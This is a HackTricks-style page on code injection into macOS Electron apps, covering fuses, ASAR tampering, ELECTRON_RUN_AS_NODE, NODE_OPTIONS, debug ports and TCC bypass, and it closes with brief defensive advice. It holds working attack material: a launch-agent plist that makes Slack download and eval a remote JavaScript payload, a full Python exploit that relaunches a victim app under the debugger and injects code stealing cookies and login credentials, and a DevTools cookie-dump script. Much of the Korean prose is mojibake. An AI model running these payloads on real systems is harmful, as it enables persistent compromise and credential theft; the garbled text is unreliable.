macOS Electron Applications Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
Electron์ด ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด ์ฌ๊ธฐ์์ ๋ง์ ์ ๋ณด๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ํ์ง๋ง ์ง๊ธ์ Electron์ด node๋ฅผ ์คํํ๋ค๋ ๊ฒ๋ง ์๋ฉด ๋ฉ๋๋ค.
๊ทธ๋ฆฌ๊ณ node์๋ ์ง์ ๋ ํ์ผ ์ธ์ ๋ค๋ฅธ ์ฝ๋๋ฅผ ์คํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋งค๊ฐ๋ณ์์ ํ๊ฒฝ ๋ณ์๊ฐ ์์ต๋๋ค.
Electron Fuses
์ด ๊ธฐ์ ๋ค์ ๋ค์์ ๋ ผ์๋ ๊ฒ์ด์ง๋ง, ์ต๊ทผ Electron์ ์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ์ฌ๋ฌ ๋ณด์ ํ๋๊ทธ๋ฅผ ์ถ๊ฐํ์ต๋๋ค. ์ด๊ฒ์ด ๋ฐ๋ก Electron Fuses์ด๋ฉฐ, ์ด๋ macOS์์ Electron ์ฑ์ด ์์์ ์ฝ๋๋ฅผ ๋ก๋ํ๋ ๊ฒ์ ๋ฐฉ์งํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค:
RunAsNode: ๋นํ์ฑํ๋๋ฉด ์ฝ๋ ์ฃผ์ ์ ์ํด ํ๊ฒฝ ๋ณ์ **ELECTRON_RUN_AS_NODE**์ ์ฌ์ฉ์ ๋ฐฉ์งํฉ๋๋ค.EnableNodeCliInspectArguments: ๋นํ์ฑํ๋๋ฉด--inspect,--inspect-brk์ ๊ฐ์ ๋งค๊ฐ๋ณ์๊ฐ ๋ฌด์๋ฉ๋๋ค. ์ด๋ฅผ ํตํด ์ฝ๋ ์ฃผ์ ์ ํผํ ์ ์์ต๋๋ค.EnableEmbeddedAsarIntegrityValidation: ํ์ฑํ๋๋ฉด ๋ก๋๋asarํ์ผ์ด macOS์ ์ํด ๊ฒ์ฆ๋ฉ๋๋ค. ์ด ํ์ผ์ ๋ด์ฉ์ ์์ ํ์ฌ ์ฝ๋ ์ฃผ์ ์ ๋ฐฉ์งํฉ๋๋ค.OnlyLoadAppFromAsar: ์ด ์ต์ ์ด ํ์ฑํ๋๋ฉด ๋ค์ ์์๋ก ๋ก๋ํ๋ ๋์ :app.asar,app๋ฐ ๋ง์ง๋ง์ผ๋กdefault_app.asar. ์ค์ง app.asar๋ง ํ์ธํ๊ณ ์ฌ์ฉํ๋ฏ๋ก,embeddedAsarIntegrityValidationํจ์ฆ์ ๊ฒฐํฉํ ๋ ๊ฒ์ฆ๋์ง ์์ ์ฝ๋๋ฅผ ๋ก๋ํ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํฉ๋๋ค.LoadBrowserProcessSpecificV8Snapshot: ํ์ฑํ๋๋ฉด ๋ธ๋ผ์ฐ์ ํ๋ก์ธ์ค๋browser_v8_context_snapshot.bin์ด๋ผ๋ ํ์ผ์ V8 ์ค๋ ์ท์ผ๋ก ์ฌ์ฉํฉ๋๋ค.
์ฝ๋ ์ฃผ์ ์ ๋ฐฉ์งํ์ง ์๋ ๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ํจ์ฆ๋:
- EnableCookieEncryption: ํ์ฑํ๋๋ฉด ๋์คํฌ์ ์ฟ ํค ์ ์ฅ์๊ฐ OS ์์ค์ ์ํธํ ํค๋ฅผ ์ฌ์ฉํ์ฌ ์ํธํ๋ฉ๋๋ค.
Checking Electron Fuses
์์ฉ ํ๋ก๊ทธ๋จ์์ ์ด ํ๋๊ทธ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Electron ํจ์ฆ ์์
As the docs mention, the configuration of the Electron Fuses are configured inside the Electron binary which contains somewhere the string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.
In macOS applications this is typically in application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
์ด ํ์ผ์ https://hexed.it/์์ ์ด๊ณ ์ด์ ๋ฌธ์์ด์ ๊ฒ์ํ ์ ์์ต๋๋ค. ์ด ๋ฌธ์์ด ๋ค์๋ ๊ฐ ํจ์ฆ๊ฐ ๋นํ์ฑํ๋์๋์ง ํ์ฑํ๋์๋์ง๋ฅผ ๋ํ๋ด๋ ASCII ์ซ์ โ0โ ๋๋ โ1โ์ด ํ์๋ฉ๋๋ค. ํฅ์ค ์ฝ๋๋ฅผ ์์ ํ์ฌ ํจ์ฆ ๊ฐ์ ์์ ํ ์ ์์ต๋๋ค (0x30์ 0์ด๊ณ 0x31์ 1์
๋๋ค).
.png)
์ด ๋ฐ์ดํธ๊ฐ ์์ ๋ ์ํ๋ก Electron Framework ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ ํ๋ฆฌ์ผ์ด์
๋ด์์ ๋ฎ์ด์ฐ๋ ค ํ๋ฉด ์ฑ์ด ์คํ๋์ง ์์ต๋๋ค.
RCE ์ ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฝ๋ ์ถ๊ฐ
Electron ์ฑ์ด ์ฌ์ฉํ๋ ์ธ๋ถ JS/HTML ํ์ผ์ด ์์ ์ ์์ผ๋ฏ๋ก, ๊ณต๊ฒฉ์๋ ์ด๋ฌํ ํ์ผ์ ์ฝ๋๋ฅผ ์ฃผ์ ํ์ฌ ์๋ช ์ด ํ์ธ๋์ง ์๊ณ ์ฑ์ ์ปจํ ์คํธ์์ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Caution
๊ทธ๋ฌ๋ ํ์ฌ 2๊ฐ์ง ์ ํ ์ฌํญ์ด ์์ต๋๋ค:
- ์ฑ์ ์์ ํ๋ ค๋ฉด
kTCCServiceSystemPolicyAppBundles๊ถํ์ด ํ์ํ๋ฏ๋ก ๊ธฐ๋ณธ์ ์ผ๋ก ๋ ์ด์ ๊ฐ๋ฅํ์ง ์์ต๋๋ค.- ์ปดํ์ผ๋
asapํ์ผ์ ์ผ๋ฐ์ ์ผ๋ก ํจ์ฆembeddedAsarIntegrityValidation๋ฐ**onlyLoadAppFromAsar**๊ฐํ์ฑํ๋์ด ์์ต๋๋ค.์ด๋ก ์ธํด ๊ณต๊ฒฉ ๊ฒฝ๋ก๊ฐ ๋ ๋ณต์กํด์ง๊ฑฐ๋ ๋ถ๊ฐ๋ฅํด์ง๋๋ค.
kTCCServiceSystemPolicyAppBundles ์๊ตฌ ์ฌํญ์ ์ฐํํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค๋ ์ ์ ์ ์ํ์ญ์์ค. ์ ํ๋ฆฌ์ผ์ด์
์ ๋ค๋ฅธ ๋๋ ํ ๋ฆฌ(์: /tmp)๋ก ๋ณต์ฌํ๊ณ , ํด๋ **app.app/Contents**์ ์ด๋ฆ์ **app.app/NotCon**์ผ๋ก ๋ณ๊ฒฝํ ํ, ์
์ฑ ์ฝ๋๋ก asar ํ์ผ์ ์์ ํ๊ณ ๋ค์ **app.app/Contents**๋ก ์ด๋ฆ์ ๋ฐ๊พผ ๋ค์ ์คํํ ์ ์์ต๋๋ค.
๋ค์ ๋ช ๋ น์ด๋ก asar ํ์ผ์์ ์ฝ๋๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค:
npx asar extract app.asar app-decomp
๊ทธ๋ฆฌ๊ณ ์์ ํ ํ ๋ค์ ํจํนํ์ญ์์ค:
npx asar pack app-decomp app-new.asar
RCE with ELECTRON_RUN_AS_NODE
According to the docs, ์ด ํ๊ฒฝ ๋ณ์๊ฐ ์ค์ ๋๋ฉด ํ๋ก์ธ์ค๊ฐ ์ผ๋ฐ Node.js ํ๋ก์ธ์ค๋ก ์์๋ฉ๋๋ค.
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
Caution
๋ง์ฝ ํจ์ฆ **
RunAsNode**๊ฐ ๋นํ์ฑํ๋์ด ์๋ค๋ฉด, ํ๊ฒฝ ๋ณ์ **ELECTRON_RUN_AS_NODE**๋ ๋ฌด์๋๋ฉฐ, ์ด ๋ฐฉ๋ฒ์ ์๋ํ์ง ์์ต๋๋ค.
์ฑ Plist์์์ ์ฃผ์
์ฌ๊ธฐ์์ ์ ์๋ ๋๋ก ์ด ํ๊ฒฝ ๋ณ์๋ฅผ plist์์ ์ ์ฉํ์ฌ ์ง์์ฑ์ ์ ์งํ ์ ์์ต๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE with NODE_OPTIONS
ํ์ด๋ก๋๋ฅผ ๋ค๋ฅธ ํ์ผ์ ์ ์ฅํ๊ณ ์คํํ ์ ์์ต๋๋ค:
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
Caution
๋ง์ฝ ํจ์ฆ
EnableNodeOptionsEnvironmentVariable๊ฐ ๋นํ์ฑํ ๋์ด ์๋ค๋ฉด, ์ฑ์ env ๋ณ์ NODE_OPTIONS ๋ฅผ ๋ฌด์ํ๊ณ ์คํ๋ฉ๋๋ค. ๋จ, env ๋ณ์ELECTRON_RUN_AS_NODE๊ฐ ์ค์ ๋์ด ์์ง ์์ผ๋ฉด, ํจ์ฆRunAsNode๊ฐ ๋นํ์ฑํ๋ ๊ฒฝ์ฐ์๋ ๋ฌด์๋ฉ๋๋ค.
ELECTRON_RUN_AS_NODE๋ฅผ ์ค์ ํ์ง ์์ผ๋ฉด, ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๋ฅผ ๋ฐ๊ฒฌํ๊ฒ ๋ฉ๋๋ค:Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
์ฑ Plist์์์ ์ฃผ์
์ด env ๋ณ์๋ฅผ plist์์ ์ ์ฉํ์ฌ ์ง์์ฑ์ ์ ์งํ๊ธฐ ์ํด ๋ค์ ํค๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE with inspecting
According to this, if you execute an Electron application with flags such as --inspect, --inspect-brk and --remote-debugging-port, a debug port will be open so you can connect to it (for example from Chrome in chrome://inspect) and you will be able to inject code on it or even launch new processes.
์๋ฅผ ๋ค์ด:
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
In ์ด ๋ธ๋ก๊ทธ ํฌ์คํธ์์, ์ด ๋๋ฒ๊น ์ ํค๋๋ฆฌ์ค ํฌ๋กฌ์ด ์์์ ํ์ผ์ ์์์ ์์น์ ๋ค์ด๋ก๋ํ๋๋ก ์ ์ฉ๋ฉ๋๋ค.
Tip
์ฑ์ด
--inspect์ ๊ฐ์ ํ๊ฒฝ ๋ณ์๋ ๋งค๊ฐ๋ณ์๋ฅผ ํ์ธํ๋ ๊ณ ์ ํ ๋ฐฉ๋ฒ์ด ์๋ค๋ฉด,--inspect-brk์ธ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐํ์์์ ์ด๋ฅผ ์ฐํํด ๋ณผ ์ ์์ต๋๋ค. ์ด ์ธ์๋ ์ฑ์ ์์ ๋ถ๋ถ์์ ์คํ์ ์ค์งํ๊ณ ์ฐํ(์: ํ์ฌ ํ๋ก์ธ์ค์ ์ธ์๋ ํ๊ฒฝ ๋ณ์๋ฅผ ๋ฎ์ด์ฐ๊ธฐ)๋ฅผ ์คํํฉ๋๋ค.
๋ค์์ --inspect-brk ๋งค๊ฐ๋ณ์๋ก ์ฑ์ ๋ชจ๋ํฐ๋งํ๊ณ ์คํํจ์ผ๋ก์จ, ๊ทธ ์ฑ์ด ๊ฐ์ง ์ฌ์ฉ์ ์ ์ ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์๋ ์ต์คํ๋ก์์
๋๋ค(ํ๋ก์ธ์ค์ ๋งค๊ฐ๋ณ์๋ฅผ ๋ฎ์ด์จ์ --inspect-brk๋ฅผ ์ ๊ฑฐํ๊ณ , ๊ทธ๋ฐ ๋ค์ JS ํ์ด๋ก๋๋ฅผ ์ฃผ์
ํ์ฌ ์ฑ์์ ์ฟ ํค์ ์๊ฒฉ ์ฆ๋ช
์ ๋คํํ๋ ๋ฐฉ์).
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
Caution
๋ง์ฝ ํจ์ฆ **
EnableNodeCliInspectArguments**๊ฐ ๋นํ์ฑํ๋์ด ์๋ค๋ฉด, ์ฑ์ ๋ ธ๋ ๋งค๊ฐ๋ณ์(์:--inspect)๋ฅผ ๋ฌด์ํ๊ณ ์คํ๋๋ฉฐ, ํ๊ฒฝ ๋ณ์ **ELECTRON_RUN_AS_NODE**๊ฐ ์ค์ ๋์ง ์๋ ํ ๋ฌด์๋ฉ๋๋ค. ๋ํ ํจ์ฆ **RunAsNode**๊ฐ ๋นํ์ฑํ๋์ด ์์ผ๋ฉด ์ด ๋ณ์๋ ๋ฌด์๋ฉ๋๋ค.๊ทธ๋ฌ๋ **electron ๋งค๊ฐ๋ณ์
--remote-debugging-port=9229**๋ฅผ ์ฌ์ฉํ์ฌ Electron ์ฑ์์ ํ์คํ ๋ฆฌ(GET ๋ช ๋ น์ด๋ก)๋ ๋ธ๋ผ์ฐ์ ์ ์ฟ ํค๋ฅผ ํ์น ์ ์์ต๋๋ค(๋ธ๋ผ์ฐ์ ๋ด์์ ๋ณตํธํ๋๋ฉฐ, ์ด๋ฅผ ์ ๊ณตํ๋ json ์๋ํฌ์ธํธ๊ฐ ์์ต๋๋ค).
์ด ๋ฐฉ๋ฒ์ ๋ํด์๋ ์ฌ๊ธฐ์ ์ฌ๊ธฐ์์ ๋ฐฐ์ธ ์ ์์ผ๋ฉฐ, ์๋ ๋๊ตฌ WhiteChocolateMacademiaNut์ด๋ ๋ค์๊ณผ ๊ฐ์ ๊ฐ๋จํ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
Injection from the App Plist
์ด env ๋ณ์๋ฅผ plist์์ ์ ์ฉํ์ฌ ์ง์์ฑ์ ์ ์งํ ์ ์์ต๋๋ค. ๋ค์ ํค๋ฅผ ์ถ๊ฐํ์ธ์:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCC ์ฐํ ๊ตฌ๋ฒ์ ์ ์ฉ
Tip
macOS์ TCC ๋ฐ๋ชฌ์ ์คํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ฒ์ ์ ํ์ธํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด์ ๊ธฐ์ ๋ก Electron ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์๋ ๊ฒฝ์ฐ APP์ ์ด์ ๋ฒ์ ์ ๋ค์ด๋ก๋ํ๊ณ ๊ทธ ์์ ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด ์ฌ์ ํ TCC ๊ถํ์ ๋ฐ์ ์ ์์ต๋๋ค(Trust Cache๊ฐ ์ด๋ฅผ ๋ฐฉ์งํ์ง ์๋ ํ).
๋น JS ์ฝ๋ ์คํ
์ด์ ๊ธฐ์ ์ ์ฌ์ฉํ๋ฉด Electron ์ ํ๋ฆฌ์ผ์ด์
์ ํ๋ก์ธ์ค ๋ด์์ JS ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์์ ํ๋ก์ธ์ค๋ ๋ถ๋ชจ ์ ํ๋ฆฌ์ผ์ด์
๊ณผ ๋์ผํ ์๋๋ฐ์ค ํ๋กํ์์ ์คํ๋๋ฉฐ TCC ๊ถํ์ ์์ํฉ๋๋ค.
๋ฐ๋ผ์ ์๋ฅผ ๋ค์ด ์นด๋ฉ๋ผ๋ ๋ง์ดํฌ์ ์ ๊ทผํ๊ธฐ ์ํด ๊ถํ์ ์
์ฉํ๊ณ ์ถ๋ค๋ฉด, ํ๋ก์ธ์ค์์ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ฉด ๋ฉ๋๋ค.
์ฃผ๋ชฉํ ๋งํ Electron macOS ์ทจ์ฝ์ (2023-2024)
CVE-2023-44402 โ ASAR ๋ฌด๊ฒฐ์ฑ ์ฐํ
Electron โค22.3.23 ๋ฐ ๋ค์ํ 23-27 ํ๋ฆฌ ๋ฆด๋ฆฌ์ค๋ .app/Contents/Resources ํด๋์ ์ฐ๊ธฐ ๊ถํ์ด ์๋ ๊ณต๊ฒฉ์๊ฐ embeddedAsarIntegrityValidation ๋ฐ onlyLoadAppFromAsar ํจ์ฆ๋ฅผ ์ฐํํ ์ ์๊ฒ ํ์ต๋๋ค. ์ด ๋ฒ๊ทธ๋ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๊ธฐ์์ ๋ฐ์ํ ํ์ผ ์ ํ ํผ๋์ผ๋ก, ๊ฒ์ฆ๋ ์์นด์ด๋ธ ๋์ app.asar๋ผ๋ ์ด๋ฆ์ ๋๋ ํ ๋ฆฌ๊ฐ ๋ก๋๋๋๋ก ํ์ต๋๋ค. ๋ฐ๋ผ์ ํด๋น ๋๋ ํ ๋ฆฌ์ ๋ฐฐ์น๋ ๋ชจ๋ JavaScript๋ ์ฑ์ด ์์๋ ๋ ์คํ๋์์ต๋๋ค. ํ๋๋ ๊ฐ์ด๋๋ฅผ ๋ฐ๋ฅด๊ณ ๋ ํจ์ฆ๋ฅผ ๋ชจ๋ ํ์ฑํํ ๊ณต๊ธ์
์ฒด์กฐ์ฐจ๋ macOS์์ ์ฌ์ ํ ์ทจ์ฝํ์ต๋๋ค.
ํจ์น๋ Electron ๋ฒ์ : 22.3.24, 24.8.3, 25.8.1, 26.2.1 ๋ฐ 27.0.0-alpha.7. ์ด์ ๋น๋๋ฅผ ์คํ ์ค์ธ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ฐ๊ฒฌํ ๊ณต๊ฒฉ์๋ Contents/Resources/app.asar๋ฅผ ์์ ์ ๋๋ ํ ๋ฆฌ๋ก ๋ฎ์ด์จ์ ์ ํ๋ฆฌ์ผ์ด์
์ TCC ๊ถํ์ผ๋ก ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
2024 โRunAsNodeโ / โenableNodeCliInspectArgumentsโ CVE ํด๋ฌ์คํฐ
2024๋
1์, ์ผ๋ จ์ CVE(CVE-2024-23738๋ถํฐ CVE-2024-23743๊น์ง)๊ฐ ๋ง์ Electron ์ฑ์ด ์ฌ์ ํ RunAsNode ๋ฐ EnableNodeCliInspectArguments ํจ์ฆ๋ฅผ ํ์ฑํํ ์ํ๋ก ๋ฐฐํฌ๋๋ค๋ ์ ์ ๊ฐ์กฐํ์ต๋๋ค. ๋ฐ๋ผ์ ๋ก์ปฌ ๊ณต๊ฒฉ์๋ ํ๊ฒฝ ๋ณ์ ELECTRON_RUN_AS_NODE=1 ๋๋ --inspect-brk์ ๊ฐ์ ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก๊ทธ๋จ์ ๋ค์ ์์ํ์ฌ ์ผ๋ฐ Node.js ํ๋ก์ธ์ค๋ก ์ ํํ๊ณ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ชจ๋ ์๋๋ฐ์ค ๋ฐ TCC ๊ถํ์ ์์๋ฐ์ ์ ์์ต๋๋ค.
Electron ํ์ โ์น๋ช ์ โ ๋ฑ๊ธ์ ์ด์๋ฅผ ์ ๊ธฐํ๊ณ ๊ณต๊ฒฉ์๊ฐ ์ด๋ฏธ ๋ก์ปฌ ์ฝ๋ ์คํ์ด ํ์ํ๋ค๊ณ ์ธ๊ธํ์ง๋ง, ์ด ๋ฌธ์ ๋ ํฌ์คํธ ์ต์คํ๋ก์ ์ค์ ์ฌ์ ํ ๊ฐ์น๊ฐ ์์ต๋๋ค. ์๋ํ๋ฉด ์ทจ์ฝํ Electron ๋ฒ๋ค์ ์์ ํ์ฉ ๋ฐ์ด๋๋ฆฌ๋ก ์ ํํ์ฌ ์๋ฅผ ๋ค์ด ์ฐ๋ฝ์ฒ, ์ฌ์ง ๋๋ ์ด์ ์ ๋ฐ์คํฌํ ์ฑ์ ๋ถ์ฌ๋ ๊ธฐํ ๋ฏผ๊ฐํ ๋ฆฌ์์ค๋ฅผ ์ฝ์ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
Electron ์ ์ง ๊ด๋ฆฌ์์ ๋ฐฉ์ด ์ง์นจ:
- ํ๋ก๋์
๋น๋์์
RunAsNode๋ฐEnableNodeCliInspectArgumentsํจ์ฆ๋ฅผ ๋นํ์ฑํํ์ญ์์ค. - ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ ๋นํ๊ฒ ๋์ฐ๋ฏธ Node.js ํ๋ก์ธ์ค๊ฐ ํ์ํ๋ค๋ฉด, ์ด๋ฌํ ํจ์ฆ๋ฅผ ๋ค์ ํ์ฑํํ๋ ๋์ ์ต์ UtilityProcess API๋ฅผ ์ฌ์ฉํ์ญ์์ค.
์๋ ์ฃผ์
